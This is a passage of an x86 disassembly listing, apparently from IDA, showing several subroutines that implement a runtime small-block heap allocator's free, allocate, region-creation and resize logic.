		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------

loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------

loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]

loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB

loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------

loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4E21B4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4E21AC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4E21AC
		mov	eax, dword_4E21B4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4E21B4
		mov	ecx, dword_4E21AC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4E21B4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4E21B4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4E21B4

loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4E21B4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4E21C4
		nop
		call	near ptr 27B060Ah
		mov	eax, dword_4E21B8
		mov	edx, dword_4E21BC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4E21B4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4E21B8
		cmp	eax, dword_4E21B4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h

loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4E21BC
		mov	dword_4E21B0, eax

loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4E21AC, edi
		mov	dword_4E21B4, eax

loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4E21B8
		mov	edx, dword_4E21BC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------

loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax

loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4E21B0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242

loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229

loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx

loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------

loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax

loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0

loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------

loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]

loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx

loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------

loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax

loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9

loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0

loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------

loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4E21B0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E

loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B

loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304

loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]

loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi

loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------

loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi

loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------

loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------

loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]

loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------

loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]

loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------

loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]

loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4E21B4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4E21AC
		jnz	short loc_41E4C7
		and	dword_4E21B4, 0

loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4E21B8
		mov	ecx, dword_4E21A8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4E21BC
		push	edi
		push	dword_4E21C4
		nop
		call	near ptr 2870000h
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4E21A8, 10h
		mov	dword_4E21BC, eax
		mov	eax, dword_4E21B8

loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4E21BC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4E21C4
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27C0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 28D06E1h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4E21C4
		nop
		call	near ptr 27B060Ah

loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------

loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4E21B8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx

loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------

loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax

loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	near ptr 28D06E1h
		nop
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------

loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]

loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5

loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi

loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------

loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi

loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------

loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h

loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx

loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------

loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]

loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------

loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------

loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi

loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi

loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------

loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]

loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi

loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------

loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h

loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx

